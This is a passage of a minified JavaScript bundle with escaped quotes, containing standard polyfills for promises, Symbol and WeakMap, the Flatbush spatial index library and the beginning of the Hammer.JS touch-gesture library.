n=t(294),r=t(327),o=t(329),s=t(334),a=t(335),l=t(337).iterator;e.exports=function(t){return\\\"function\\\"==typeof a(t)[l]?t[l]():n(t)?new o(t):r(t)?new s(t):new o(t)}},function(t,e,i){var n,r=t(290),o=t(304),s=t(321),a=t(323),l=t(289),h=t(288),u=t(337),c=Object.defineProperty,_=Object.defineProperties;e.exports=n=function(t,e){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");_(this,{__list__:l(\\\"w\\\",a(t)),__context__:l(\\\"w\\\",e),__nextIndex__:l(\\\"w\\\",0)}),e&&(s(e.on),e.on(\\\"_add\\\",this._onAdd),e.on(\\\"_delete\\\",this._onDelete),e.on(\\\"_clear\\\",this._onClear))},delete n.prototype.constructor,_(n.prototype,o({_next:l(function(){var t;if(this.__list__)return this.__redo__&&void 0!==(t=this.__redo__.shift())?t:this.__nextIndex__<this.__list__.length?this.__nextIndex__++:void this._unBind()}),next:l(function(){return this._createResult(this._next())}),_createResult:l(function(t){return void 0===t?{done:!0,value:void 0}:{done:!1,value:this._resolve(t)}}),_resolve:l(function(t){return this.__list__[t]}),_unBind:l(function(){this.__list__=null,delete this.__redo__,this.__context__&&(this.__context__.off(\\\"_add\\\",this._onAdd),this.__context__.off(\\\"_delete\\\",this._onDelete),this.__context__.off(\\\"_clear\\\",this._onClear),this.__context__=null)}),toString:l(function(){return\\\"[object \\\"+(this[u.toStringTag]||\\\"Object\\\")+\\\"]\\\"})},h({_onAdd:l(function(i){i>=this.__nextIndex__||(++this.__nextIndex__,this.__redo__?(this.__redo__.forEach(function(t,e){i<=t&&(this.__redo__[e]=++t)},this),this.__redo__.push(i)):c(this,\\\"__redo__\\\",l(\\\"c\\\",[i])))}),_onDelete:l(function(i){var t;i>=this.__nextIndex__||(--this.__nextIndex__,this.__redo__&&(-1!==(t=this.__redo__.indexOf(i))&&this.__redo__.splice(t,1),this.__redo__.forEach(function(t,e){i<t&&(this.__redo__[e]=--t)},this)))}),_onClear:l(function(){this.__redo__&&r.call(this.__redo__),this.__nextIndex__=0})}))),c(n.prototype,u.iterator,l(function(){return this}))},function(t,e,i){var n=t(294),r=t(312),o=t(327),s=t(337).iterator,a=Array.isArray;e.exports=function(t){return!(!r(t)||!a(t)&&!o(t)&&!n(t)&&\\\"function\\\"!=typeof t[s])}},function(t,e,i){var n,r=t(318),o=t(289),s=t(337),a=t(332),l=Object.defineProperty;n=e.exports=function(t){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");t=String(t),a.call(this,t),l(this,\\\"__length__\\\",o(\\\"\\\",t.length))},r&&r(n,a),delete n.prototype.constructor,n.prototype=Object.create(a.prototype,{_next:o(function(){if(this.__list__)return this.__nextIndex__<this.__length__?this.__nextIndex__++:void this._unBind()}),_resolve:o(function(t){var e,i=this.__list__[t];return this.__nextIndex__===this.__length__?i:55296<=(e=i.charCodeAt(0))&&e<=56319?i+this.__list__[this.__nextIndex__++]:i})}),l(n.prototype,s.toStringTag,o(\\\"c\\\",\\\"String Iterator\\\"))},function(t,e,i){var n=t(333);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not iterable\\\");return t}},function(L,t,e){\\n      /*!\\n           * @overview es6-promise - a tiny implementation of Promises/A+.\\n           * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)\\n           * @license   Licensed under MIT license\\n           *            See https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE\\n           * @version   v4.2.4+314e4831\\n           */var i,n;i=this,n=function(){\\\"use strict\\\";function h(t){return\\\"function\\\"==typeof t}var i=Array.isArray?Array.isArray:function(t){return\\\"[object Array]\\\"===Object.prototype.toString.call(t)},n=0,e=void 0,r=void 0,a=function(t,e){_[n]=t,_[n+1]=e,2===(n+=2)&&(r?r(p):g())},t=\\\"undefined\\\"!=typeof window?window:void 0,o=t||{},s=o.MutationObserver||o.WebKitMutationObserver,l=\\\"undefined\\\"==typeof self&&\\\"undefined\\\"!=typeof process&&\\\"[object process]\\\"==={}.toString.call(process),u=\\\"undefined\\\"!=typeof Uint8ClampedArray&&\\\"undefined\\\"!=typeof importScripts&&\\\"undefined\\\"!=typeof MessageChannel;function c(){var t=setTimeout;return function(){return t(p,1)}}var _=new Array(1e3);function p(){for(var t=0;t<n;t+=2){var e=_[t],i=_[t+1];e(i),_[t]=void 0,_[t+1]=void 0}n=0}var d,f,v,m,g=void 0;function y(t,e){var i=this,n=new this.constructor(w);void 0===n[x]&&I(n);var r=i._state;if(r){var o=arguments[r-1];a(function(){return F(r,n,o,i._result)})}else j(i,n,t,e);return n}function b(t){if(t&&\\\"object\\\"==typeof t&&t.constructor===this)return t;var e=new this(w);return M(e,t),e}l?g=function(){return process.nextTick(p)}:s?(f=0,v=new s(p),m=document.createTextNode(\\\"\\\"),v.observe(m,{characterData:!0}),g=function(){m.data=f=++f%2}):u?((d=new MessageChannel).port1.onmessage=p,g=function(){return d.port2.postMessage(0)}):g=void 0===t&&\\\"function\\\"==typeof L?function(){try{var t=Function(\\\"return this\\\")().require(\\\"vertx\\\");return void 0!==(e=t.runOnLoop||t.runOnContext)?function(){e(p)}:c()}catch(t){return c()}}():c();var x=Math.random().toString(36).substring(2);function w(){}var k=void 0,S=1,C=2,T={error:null};function A(t){try{return t.then}catch(t){return T.error=t,T}}function E(t,e,i){var n,r,o,s;e.constructor===t.constructor&&i===y&&e.constructor.resolve===b?(o=t,(s=e)._state===S?z(o,s._result):s._state===C?P(o,s._result):j(s,void 0,function(t){return M(o,t)},function(t){return P(o,t)})):i===T?(P(t,T.error),T.error=null):void 0===i?z(t,e):h(i)?(n=e,r=i,a(function(e){var i=!1,t=function(t,e,i,n){try{t.call(e,i,n)}catch(t){return t}}(r,n,function(t){i||(i=!0,n!==t?M(e,t):z(e,t))},function(t){i||(i=!0,P(e,t))},e._label);!i&&t&&(i=!0,P(e,t))},t)):z(t,e)}function M(t,e){var i,n;t===e?P(t,new TypeError(\\\"You cannot resolve a promise with itself\\\")):(n=typeof(i=e),null===i||\\\"object\\\"!==n&&\\\"function\\\"!==n?z(t,e):E(t,e,A(e)))}function O(t){t._onerror&&t._onerror(t._result),N(t)}function z(t,e){t._state===k&&(t._result=e,t._state=S,0!==t._subscribers.length&&a(N,t))}function P(t,e){t._state===k&&(t._state=C,t._result=e,a(O,t))}function j(t,e,i,n){var r=t._subscribers,o=r.length;t._onerror=null,r[o]=e,r[o+S]=i,r[o+C]=n,0===o&&t._state&&a(N,t)}function N(t){var e=t._subscribers,i=t._state;if(0!==e.length){for(var n=void 0,r=void 0,o=t._result,s=0;s<e.length;s+=3)n=e[s],r=e[s+i],n?F(i,n,r,o):r(o);t._subscribers.length=0}}function F(t,e,i,n){var r=h(i),o=void 0,s=void 0,a=void 0,l=void 0;if(r){if((o=function(t,e){try{return t(e)}catch(t){return T.error=t,T}}(i,n))===T?(l=!0,s=o.error,o.error=null):a=!0,e===o)return void P(e,new TypeError(\\\"A promises callback cannot return that same promise.\\\"))}else o=n,a=!0;e._state!==k||(r&&a?M(e,o):l?P(e,s):t===S?z(e,o):t===C&&P(e,o))}var D=0;function I(t){t[x]=D++,t._state=void 0,t._result=void 0,t._subscribers=[]}var R=function(){function t(t,e){this._instanceConstructor=t,this.promise=new t(w),this.promise[x]||I(this.promise),i(e)?(this.length=e.length,this._remaining=e.length,this._result=new Array(this.length),0===this.length?z(this.promise,this._result):(this.length=this.length||0,this._enumerate(e),0===this._remaining&&z(this.promise,this._result))):P(this.promise,new Error(\\\"Array Methods must be provided an Array\\\"))}return t.prototype._enumerate=function(t){for(var e=0;this._state===k&&e<t.length;e++)this._eachEntry(t[e],e)},t.prototype._eachEntry=function(e,t){var i=this._instanceConstructor,n=i.resolve;if(n===b){var r=A(e);if(r===y&&e._state!==k)this._settledAt(e._state,t,e._result);else if(\\\"function\\\"!=typeof r)this._remaining--,this._result[t]=e;else if(i===B){var o=new i(w);E(o,e,r),this._willSettleAt(o,t)}else this._willSettleAt(new i(function(t){return t(e)}),t)}else this._willSettleAt(n(e),t)},t.prototype._settledAt=function(t,e,i){var n=this.promise;n._state===k&&(this._remaining--,t===C?P(n,i):this._result[e]=i),0===this._remaining&&z(n,this._result)},t.prototype._willSettleAt=function(t,e){var i=this;j(t,void 0,function(t){return i._settledAt(S,e,t)},function(t){return i._settledAt(C,e,t)})},t}(),B=function(){function e(t){this[x]=D++,this._result=this._state=void 0,this._subscribers=[],w!==t&&(\\\"function\\\"!=typeof t&&function(){throw new TypeError(\\\"You must pass a resolver function as the first argument to the promise constructor\\\")}(),this instanceof e?function(e,t){try{t(function(t){M(e,t)},function(t){P(e,t)})}catch(t){P(e,t)}}(this,t):function(){throw new TypeError(\\\"Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.\\\")}())}return e.prototype.catch=function(t){return this.then(null,t)},e.prototype.finally=function(e){var i=this.constructor;return this.then(function(t){return i.resolve(e()).then(function(){return t})},function(t){return i.resolve(e()).then(function(){throw t})})},e}();return B.prototype.then=y,B.all=function(t){return new R(this,t).promise},B.race=function(r){var o=this;return i(r)?new o(function(t,e){for(var i=r.length,n=0;n<i;n++)o.resolve(r[n]).then(t,e)}):new o(function(t,e){return e(new TypeError(\\\"You must pass an array to race.\\\"))})},B.resolve=b,B.reject=function(t){var e=new this(w);return P(e,t),e},B._setScheduler=function(t){r=t},B._setAsap=function(t){a=t},B._asap=a,B.polyfill=function(){var t=void 0;if(\\\"undefined\\\"!=typeof global)t=global;else if(\\\"undefined\\\"!=typeof self)t=self;else try{t=Function(\\\"return this\\\")()}catch(t){throw new Error(\\\"polyfill failed because global object is unavailable in this environment\\\")}var e=t.Promise;if(e){var i=null;try{i=Object.prototype.toString.call(e.resolve())}catch(t){}if(\\\"[object Promise]\\\"===i&&!e.cast)return}t.Promise=B},B.Promise=B},\\\"object\\\"==typeof e&&void 0!==t?t.exports=n():i.ES6Promise=n()},function(t,e,i){e.exports=t(338)()?Symbol:t(340)},function(t,e,i){var n={object:!0,symbol:!0};e.exports=function(){var t;if(\\\"function\\\"!=typeof Symbol)return!1;t=Symbol(\\\"test symbol\\\");try{String(t)}catch(t){return!1}return!!n[typeof Symbol.iterator]&&!!n[typeof Symbol.toPrimitive]&&!!n[typeof Symbol.toStringTag]}},function(t,e,i){e.exports=function(t){return!!t&&(\\\"symbol\\\"==typeof t||!!t.constructor&&\\\"Symbol\\\"===t.constructor.name&&\\\"Symbol\\\"===t[t.constructor.toStringTag])}},function(t,e,i){var n,r,o,s,a=t(289),l=t(341),h=Object.create,u=Object.defineProperties,c=Object.defineProperty,_=Object.prototype,p=h(null);if(\\\"function\\\"==typeof Symbol){n=Symbol;try{String(n()),s=!0}catch(t){}}var d,f=(d=h(null),function(t){for(var e,i,n=0;d[t+(n||\\\"\\\")];)++n;return d[t+=n||\\\"\\\"]=!0,c(_,e=\\\"@@\\\"+t,a.gs(null,function(t){i||(i=!0,c(this,e,a(t)),i=!1)})),e});o=function(t){if(this instanceof o)throw new TypeError(\\\"Symbol is not a constructor\\\");return r(t)},e.exports=r=function t(e){var i;if(this instanceof t)throw new TypeError(\\\"Symbol is not a constructor\\\");return s?n(e):(i=h(o.prototype),e=void 0===e?\\\"\\\":String(e),u(i,{__description__:a(\\\"\\\",e),__name__:a(\\\"\\\",f(e))}))},u(r,{for:a(function(t){return p[t]?p[t]:p[t]=r(String(t))}),keyFor:a(function(t){var e;for(e in l(t),p)if(p[e]===t)return e}),hasInstance:a(\\\"\\\",n&&n.hasInstance||r(\\\"hasInstance\\\")),isConcatSpreadable:a(\\\"\\\",n&&n.isConcatSpreadable||r(\\\"isConcatSpreadable\\\")),iterator:a(\\\"\\\",n&&n.iterator||r(\\\"iterator\\\")),match:a(\\\"\\\",n&&n.match||r(\\\"match\\\")),replace:a(\\\"\\\",n&&n.replace||r(\\\"replace\\\")),search:a(\\\"\\\",n&&n.search||r(\\\"search\\\")),species:a(\\\"\\\",n&&n.species||r(\\\"species\\\")),split:a(\\\"\\\",n&&n.split||r(\\\"split\\\")),toPrimitive:a(\\\"\\\",n&&n.toPrimitive||r(\\\"toPrimitive\\\")),toStringTag:a(\\\"\\\",n&&n.toStringTag||r(\\\"toStringTag\\\")),unscopables:a(\\\"\\\",n&&n.unscopables||r(\\\"unscopables\\\"))}),u(o.prototype,{constructor:a(r),toString:a(\\\"\\\",function(){return this.__name__})}),u(r.prototype,{toString:a(function(){return\\\"Symbol (\\\"+l(this).__description__+\\\")\\\"}),valueOf:a(function(){return l(this)})}),c(r.prototype,r.toPrimitive,a(\\\"\\\",function(){var t=l(this);return\\\"symbol\\\"==typeof t?t:t.toString()})),c(r.prototype,r.toStringTag,a(\\\"c\\\",\\\"Symbol\\\")),c(o.prototype,r.toStringTag,a(\\\"c\\\",r.prototype[r.toStringTag])),c(o.prototype,r.toPrimitive,a(\\\"c\\\",r.prototype[r.toPrimitive]))},function(t,e,i){var n=t(339);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not a symbol\\\");return t}},function(t,e,i){t(343)()||Object.defineProperty(t(297),\\\"WeakMap\\\",{value:t(345),configurable:!0,enumerable:!1,writable:!0})},function(t,e,i){e.exports=function(){var t,e;if(\\\"function\\\"!=typeof WeakMap)return!1;try{t=new WeakMap([[e={},\\\"one\\\"],[{},\\\"two\\\"],[{},\\\"three\\\"]])}catch(t){return!1}return\\\"[object WeakMap]\\\"===String(t)&&\\\"function\\\"==typeof t.set&&t.set({},1)===t&&\\\"function\\\"==typeof t.delete&&\\\"function\\\"==typeof t.has&&\\\"one\\\"===t.get(e)}},function(t,e,i){e.exports=\\\"function\\\"==typeof WeakMap&&\\\"[object WeakMap]\\\"===Object.prototype.toString.call(new WeakMap)},function(t,e,i){var n,r=t(318),o=t(322),s=t(323),a=t(328),l=t(289),h=t(331),u=t(330),c=t(337).toStringTag,_=t(344),p=Array.isArray,d=Object.defineProperty,f=Object.prototype.hasOwnProperty,v=Object.getPrototypeOf;e.exports=n=function(){var e,t=arguments[0];if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");return e=_&&r&&WeakMap!==n?r(new WeakMap,v(this)):this,null!=t&&(p(t)||(t=h(t))),d(e,\\\"__weakMapData__\\\",l(\\\"c\\\",\\\"$weakMap$\\\"+a())),t&&u(t,function(t){s(t),e.set(t[0],t[1])}),e},_&&(r&&r(n,WeakMap),n.prototype=Object.create(WeakMap.prototype,{constructor:l(n)})),Object.defineProperties(n.prototype,{delete:l(function(t){return!!f.call(o(t),this.__weakMapData__)&&(delete t[this.__weakMapData__],!0)}),get:l(function(t){if(f.call(o(t),this.__weakMapData__))return t[this.__weakMapData__]}),has:l(function(t){return f.call(o(t),this.__weakMapData__)}),set:l(function(t,e){return d(o(t),this.__weakMapData__,l(\\\"c\\\",e)),this}),toString:l(function(){return\\\"[object WeakMap]\\\"})}),d(n.prototype,c,l(\\\"c\\\",\\\"WeakMap\\\"))},function(t,e,i){var n,r;n=this,r=function(){\\\"use strict\\\";var l=[Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array],h=function(t,e,i,n){if(void 0===t)throw new Error(\\\"Missing required argument: numItems.\\\");if(isNaN(t)||t<=0)throw new Error(\\\"Unpexpected numItems value: \\\"+t+\\\".\\\");this.numItems=+t,this.nodeSize=Math.min(Math.max(+e||16,2),65535);var r=t,o=r;for(this._levelBounds=[4*r];r=Math.ceil(r/this.nodeSize),o+=r,this._levelBounds.push(4*o),1!==r;);this.ArrayType=i||Float64Array,this.IndexArrayType=o<16384?Uint16Array:Uint32Array;var s=l.indexOf(this.ArrayType),a=4*o*this.ArrayType.BYTES_PER_ELEMENT;if(s<0)throw new Error(\\\"Unexpected typed array class: \\\"+i+\\\".\\\");n&&n instanceof ArrayBuffer?(this.data=n,this._boxes=new this.ArrayType(this.data,8,4*o),this._indices=new this.IndexArrayType(this.data,8+a,o),this._pos=4*o,this.minX=this._boxes[this._pos-4],this.minY=this._boxes[this._pos-3],this.maxX=this._boxes[this._pos-2],this.maxY=this._boxes[this._pos-1]):(this.data=new ArrayBuffer(8+a+o*this.IndexArrayType.BYTES_PER_ELEMENT),this._boxes=new this.ArrayType(this.data,8,4*o),this._indices=new this.IndexArrayType(this.data,8+a,o),this._pos=0,this.minX=1/0,this.minY=1/0,this.maxX=-1/0,this.maxY=-1/0,new Uint8Array(this.data,0,2).set([251,48+s]),new Uint16Array(this.data,2,1)[0]=e,new Uint32Array(this.data,4,1)[0]=t)};function C(t,e,i,n,r){var o=t[n];t[n]=t[r],t[r]=o;var s=4*n,a=4*r,l=e[s],h=e[s+1],u=e[s+2],c=e[s+3];e[s]=e[a],e[s+1]=e[a+1],e[s+2]=e[a+2],e[s+3]=e[a+3],e[a]=l,e[a+1]=h,e[a+2]=u,e[a+3]=c;var _=i[n];i[n]=i[r],i[r]=_}function T(t,e){var i=t^e,n=65535^i,r=65535^(t|e),o=t&(65535^e),s=i|n>>1,a=i>>1^i,l=r>>1^n&o>>1^r,h=i&r>>1^o>>1^o;a=(i=s)&(n=a)>>2^n&(i^n)>>2,l^=i&(r=l)>>2^n&(o=h)>>2,h^=n&r>>2^(i^n)&o>>2,a=(i=s=i&i>>2^n&n>>2)&(n=a)>>4^n&(i^n)>>4,l^=i&(r=l)>>4^n&(o=h)>>4,h^=n&r>>4^(i^n)&o>>4,l^=(i=s=i&i>>4^n&n>>4)&(r=l)>>8^(n=a)&(o=h)>>8;var u=t^e,c=(n=(h^=n&r>>8^(i^n)&o>>8)^h>>1)|65535^(u|(i=l^l>>1));return((c=1431655765&((c=858993459&((c=252645135&((c=16711935&(c|c<<8))|c<<4))|c<<2))|c<<1))<<1|(u=1431655765&((u=858993459&((u=252645135&((u=16711935&(u|u<<8))|u<<4))|u<<2))|u<<1)))>>>0}return h.from=function(t){if(!(t instanceof ArrayBuffer))throw new Error(\\\"Data must be an instance of ArrayBuffer.\\\");var e=new Uint8Array(t,0,2),i=e[0],n=e[1];if(251!==i)throw new Error(\\\"Data does not appear to be in a Flatbush format.\\\");if(n>>4!=3)throw new Error(\\\"Got v\\\"+(n>>4)+\\\" data when expected v3.\\\");var r=new Uint16Array(t,2,1),o=r[0],s=new Uint32Array(t,4,1),a=s[0];return new h(a,o,l[15&n],t)},h.prototype.add=function(t,e,i,n){var r=this._pos>>2;this._indices[r]=r,this._boxes[this._pos++]=t,this._boxes[this._pos++]=e,this._boxes[this._pos++]=i,this._boxes[this._pos++]=n,t<this.minX&&(this.minX=t),e<this.minY&&(this.minY=e),i>this.maxX&&(this.maxX=i),n>this.maxY&&(this.maxY=n)},h.prototype.finish=function(){var t=this;if(this._pos>>2!==this.numItems)throw new Error(\\\"Added \\\"+(this._pos>>2)+\\\" items when expected \\\"+this.numItems+\\\".\\\");for(var e=this.maxX-this.minX,i=this.maxY-this.minY,n=new Uint32Array(this.numItems),r=0;r<this.numItems;r++){var o=4*r,s=t._boxes[o++],a=t._boxes[o++],l=t._boxes[o++],h=t._boxes[o++],u=Math.floor(65535*((s+l)/2-t.minX)/e),c=Math.floor(65535*((a+h)/2-t.minY)/i);n[r]=T(u,c)}!function t(e,i,n,r,o){if(!(o<=r)){for(var s=e[r+o>>1],a=r-1,l=o+1;;){for(;e[++a]<s;);for(;e[--l]>s;);if(l<=a)break;C(e,i,n,a,l)}t(e,i,n,r,l),t(e,i,n,l+1,o)}}(n,this._boxes,this._indices,0,this.numItems-1);for(var _=0,p=0;_<this._levelBounds.length-1;_++)for(var d=t._levelBounds[_];p<d;){for(var f=1/0,v=1/0,m=-1/0,g=-1/0,y=p,b=0;b<this.nodeSize&&p<d;b++){var x=t._boxes[p++],w=t._boxes[p++],k=t._boxes[p++],S=t._boxes[p++];x<f&&(f=x),w<v&&(v=w),m<k&&(m=k),g<S&&(g=S)}t._indices[t._pos>>2]=y,t._boxes[t._pos++]=f,t._boxes[t._pos++]=v,t._boxes[t._pos++]=m,t._boxes[t._pos++]=g}},h.prototype.search=function(t,e,i,n,r){if(this._pos!==this._boxes.length)throw new Error(\\\"Data not yet indexed - call index.finish().\\\");for(var o=this._boxes.length-4,s=this._levelBounds.length-1,a=[],l=[];void 0!==o;){for(var h=Math.min(o+4*this.nodeSize,this._levelBounds[s]),u=o;u<h;u+=4){var c=this._indices[u>>2];i<this._boxes[u]||n<this._boxes[u+1]||t>this._boxes[u+2]||e>this._boxes[u+3]||(o<4*this.numItems?(void 0===r||r(c))&&l.push(c):(a.push(c),a.push(s-1)))}s=a.pop(),o=a.pop()}return l},h},\\\"object\\\"==typeof i&&void 0!==e?e.exports=r():n.Flatbush=r()},function(t,Yt,e){\\n      /*! Hammer.JS - v2.0.7 - 2016-04-22\\n           * http://hammerjs.github.io/\\n           *\\n           * Copyright (c) 2016 Jorik Tangelder;\\n           * Licensed under the MIT license */\\n      !function(o,a,t,x){\\\"use strict\\\";var s,l=[\\\"\\\",\\\"webkit\\\",\\\"Moz\\\",\\\"MS\\\",\\\"ms\\\",\\\"o\\\"],e=a.createElement(\\\"div\\\"),i=\\\"function\\\",h=Math.round,w=Math.abs,k=Date.now;function u(t,e,i){return setTimeout(f(t,i),e)}function n(t,e,i){return!!Array.isArray(t)&&(c(t,i[e],i),!0)}function c(t,e,i){var n;if(t)if(t.forEach)t.forEach(e,i);else if(t.length!==x)for(n=0;n<t.length;)e.call(i,t[n],n,t),n++;else for(n in t)t.hasOwnProperty(n)&&e.call(i,t[n],n,t)}function r(n,t,e){var r=\\\"DEPRECATED METHOD: \\\"+t+\\\"\\\\n\\\"+e+\\\" AT \\\\n\\\";return function(){var t=new Error(\\\"get-stack-trace\\\"),e=t&&t.stack?t.stack.replace(/^[^\\\\(]+?[\\\\n$]/gm,\\\"\\\").replace(/^\\\\s+at\\\\s+/gm,\\\"\\\").replace(/^Object.<anonymous>\\\\s*\\\\(/gm,\\\"{anonymous}()@\\\"):\\\"Unknown Stack Trace\\\",i=o.console&&(o.console.warn||o.console.log);return i&&i.call(o.console,r,e),n.apply(this,arguments)}}s=\\\"function\\\"!=typeof Object.assign?function(t){if(t===x||null===t)throw new TypeError(\\\"Cannot convert undefined or null to object\\\");for(var e=Object(t),i=1;i<arguments.length;i++){var n=arguments[i];if(n!==x&&null!==n)for(var r in n)n.hasOwnProperty(r)&&(e[r]=n[r])}return e}:Object.assign;var _=r(function(t,e,i){for(var n=Object.keys(e),r=0;r<n.length;)(!i||i&&t[n[r]]===x)&&(t[n[r]]=e[n[r]]),r++;return t},\\\"extend\\\",\\\"Use `assign`.\\\"),p=r(function(t,e){return _(t,e,!0)},\\\"merge\\\",\\\"Use `assign`.\\\");function d(t,e,i){var n,r=e.prototype;(n=t.prototype=Object.create(r)).constructor=t,n._super=r,i&&s(n,i)}function f(t,e){return function(){return t.apply(e,arguments)}}function v(t,e){return typeof t==i?t.apply(e&&e[0]||x,e):t}function m(t,e){return t===x?e:t}function g(e,t,i){c(C(t),function(t){e.addEventListener(t,i,!1)})}function y(e,t,i){c(C(t),function(t){e.removeEventListener(t,i,!1)})}function S(t,e){for(;t;){if(t==e)return!0;t=t.parentNode}return!1}function b(t,e){return-1<t.indexOf(e)}function C(t){return t.trim().split(/\\\\s+/g)}function T(t,e,i){if(t.indexOf&&!i)return t.indexOf(e);for(var n=0;n<t.length;){if(i&&t[n][i]==e||!i&&t[n]===e)return n;n++}return-1}function A(t){return Array.prototype.slice.call(t,0)}function E(t,i,e){for(var n=[],r=[],o=0;o<t.length;){var s=i?t[o][i]:t[o];T(r,s)<0&&n.push(t[o]),r[o]=s,o++}return e&&(n=i?n.sort(function(t,e){return t[i]>e[i]}):n.sort()),n}function M(t,e){for(var i,n,r=e[0].toUpperCase()+e.slice(1),o=0;o<l.length;){if(i=l[o],(n=i?i+r:e)in t)return n;o++}return x}var O=1;function z(t){var e=t.ownerDocument||t;return e.defaultView||e.parentWindow||o}var P=\\\"ontouchstart\\\"in o,j=M(o,\\\"PointerEvent\\\")!==x,N=P&&/mobile|tablet|ip(ad|hone|od)|android/i.test(navigator.userAgent),F=\\\"touch\\\",D=25,I=1,R=4,B=8,L=1,V=2,G=4,U=8,q=16,Y=V|G,X=U|q,H=Y|X,W=[\\\"x\\\",\\\"y\\\"],J=[\\\"clientX\\\",\\\"clientY\\\"];function Q(e,t){var i=this;this.manager=e,this.callback=t,this.element=e.element,this.target=e.options.inputTarget,this.domHandler=function(t){v(e.options.enable,[e])&&i.handler(t)},this.init()}function $(t,e,i){var n=i.pointers.length,r=i.changedPointers.length,o=e&I&&n-r==0,s=e&(R|B)&&n-r==0;i.isFirst=!!o,i.isFinal=!!s,o&&(t.session={}),i.eventType=e,function(t,e){var i=t.session,n=e.pointers,r=n.length;i.firstInput||(i.firstInput=K(e)),1<r&&!i.firstMultiple?i.firstMultiple=K(e):1===r&&(i.firstMultiple=!1);var o,s,a,l,h,u,c=i.firstInput,_=i.firstMultiple,p=_?_.center:c.center,d=e.center=Z(n);e.timeStamp=k(),e.deltaTime=e.timeStamp-c.timeStamp,e.angle=nt(p,d),e.distance=it(p,d),o=i,a=(s=e).center,l=o.offsetDelta||{},h=o.prevDelta||{},u=o.prevInput||{},s.eventType!==I&&u.eventType!==R||(h=o.prevDelta={x:u.deltaX||0,y:u.deltaY||0},l=o.offsetDelta={x:a.x,y:a.y}),s.deltaX=h.x+(a.x-l.x),s.deltaY=h.y+(a.y-l.y),e.offsetDirection=et(e.deltaX,e.deltaY);var f,v,m,g,y=tt(e.deltaTime,e.deltaX,e.deltaY);e.overallVelocityX=y.x,e.overallVelocityY=y.y,e.overallVelocity=w(y.x)>w(y.y)?y.x:y.y,e.scale=_?(m=_.pointers,it((g=n)[0],g[1],J)/it(m[0],m[1],J)):1,e.rotation=_?(f=_.pointers,nt((v=n)[1],v[0],J)+nt(f[1],f[0],J)):0,e.maxPointers=i.prevInput?e.pointers.length>i.prevInput.maxPointers?e.pointers.length:i.prevInput.maxPointers:e.pointers.length,function(t,e){var i,n,r,o,s=t.lastInterval||e,a=e.timeStamp-s.timeStamp;if(e.eventType!=B&&(D<a||s.velocity===x)){var l=e.deltaX-s.deltaX,h=e.deltaY-s.deltaY,u=tt(a,l,h);n=u.x,r=u.y,i=w(u.x)>w(u.y)?u.x:u.y,o=et(l,h),t.lastInterval=e}else i=s.velocity,n=s.velocityX,r=s.velocityY,o=s.direction;e.velocity=i,e.velocityX=n,e.velocityY=r,e.direction=o}(i,e);var b=t.element;S(e.srcEvent.target,b)&&(b=e.srcEvent.target),e.target=b}(t,i),t.emit(\\\"hammer.input\\\",i),t.recognize(i),t.session.prevInput=i}function K(t){for(var e=[],i=0;i<t.pointers.length;)e[i]={clientX:h(t.pointers[i].clientX),clientY:h(t.pointers[i].clientY)},i++;return{timeStamp:k(),pointers:e,center:Z(e),deltaX:t.deltaX,deltaY:t.deltaY}}function Z(t){var e=t.length;if(1===e)return{x:h(t[0].clientX),y:h(t[0].clientY)};for(var i=0,n=0,r=0;r<e;)i+=t[r].clientX,n+=t[r].clientY,r++;return{x:h(i/e),y:h(n/e)}}function tt(t,e,i){return{x:e/t||0,y:i/t||0}}function et(t,e){return t===e?L:w(t)>=w(e)?t<0?V:G:e<0?U:q}function it(t,e,i){i||(i=W);var n=e[i[0]]-t[i[0]],r=e[i[1]]-t[i[1]];return Math.sqrt(n*n+r*r)}function nt(t,e,i){i||(i=W);var n=e[i[0]]-t[i[0]],r=e[i[1]]-t[i[1]];return 180*Math.atan2(r,n)/Math.PI}Q.prototype={handler:function(){},init:function(){this.evEl&&g(this.element,this.evEl,this.domHandler),this.evTarget&&g(this.target,this.evTarget,this.domHandler),this.evWin&&g(z(this.element),this.evWin,this.domHandler)},destroy:function(){this.evEl&&y(this.element,this.evEl,this.domHandler),this.evTarget&&y(this.target,this.evTarget,this.domHandler),this.evWin&&y(z(this.element),this.evWin,this.domHandler)}};var rt={mousedown:I,mousemove:2,mouseup:R},ot=\\\"mousedown\\\",st=\\\"mousemove mouseup\\\";function at(){this.evEl=ot,this.evWin=st,this.pressed=!1,Q.apply(this,arguments)}d(at,Q,{handler:function(t){var e=rt[t.type];e&I&&0===t.button&&(this.pressed=!0),2&e&&1!==t.which&&(e=R),this.pressed&&(e&R&&(this.pressed=!1),this.callback(this.manager,e,{pointers:[t],changedPointers:[t],pointerType:\\\"mouse\\\",srcEvent:t}))}});var lt={pointerdown:I,pointermove:2,pointerup:R,pointercancel:B,pointerout:B},ht={2:F,3:\\\"pen\\\",4:\\\"mouse\\\",5:\\\"kinect\\\"},ut=\\\"pointerdown\\\",ct=\\\"pointermove pointerup pointercancel\\\";function _t(){this.evEl=ut,this.evWin=ct,Q.apply(this,arguments),this.store=this.manager.session.pointerEvents=[]}o.MSPointerEvent&&!o.PointerEvent&&(ut=\\\"MSPointerDown\\\",ct=\\\"MSPointerMove MSPointerUp MSPointerCancel\\\"),d(_t,Q,{handler:function(t){var e=this.store,i=!1,n=t.type.toLowerCase().replace(\\\"ms\\\",\\\"\\\"),r=lt[n],o=ht[t.pointerType]||t.pointerType,s=o==F,a=T(e,t.pointerId,\\\"pointerId\\\");r&I&&(0===t.button||s)?a<0&&(e.push(t),a=e.length-1):r&(R|B)&&(i=!0),a<0||(e[a]=t,this.callback(this.manager,r,{pointers:e,changedPointers:[t],pointerType:o,srcEvent:t}),i&&e.splice(a,1))}});var pt={touchstart:I,touchmove:2,touchend:R,touchcancel:B};function dt(){this.evTarget=\\\"touchstart\\\",this.evWin=\\\"touchstart touchmove touchend touchcancel\\\",this.started=!1,Q.apply(this,arguments)}d(dt,Q,{handler:function(t){var e=pt[t.type];if(e===I&&(this.started=!0),this.started){var 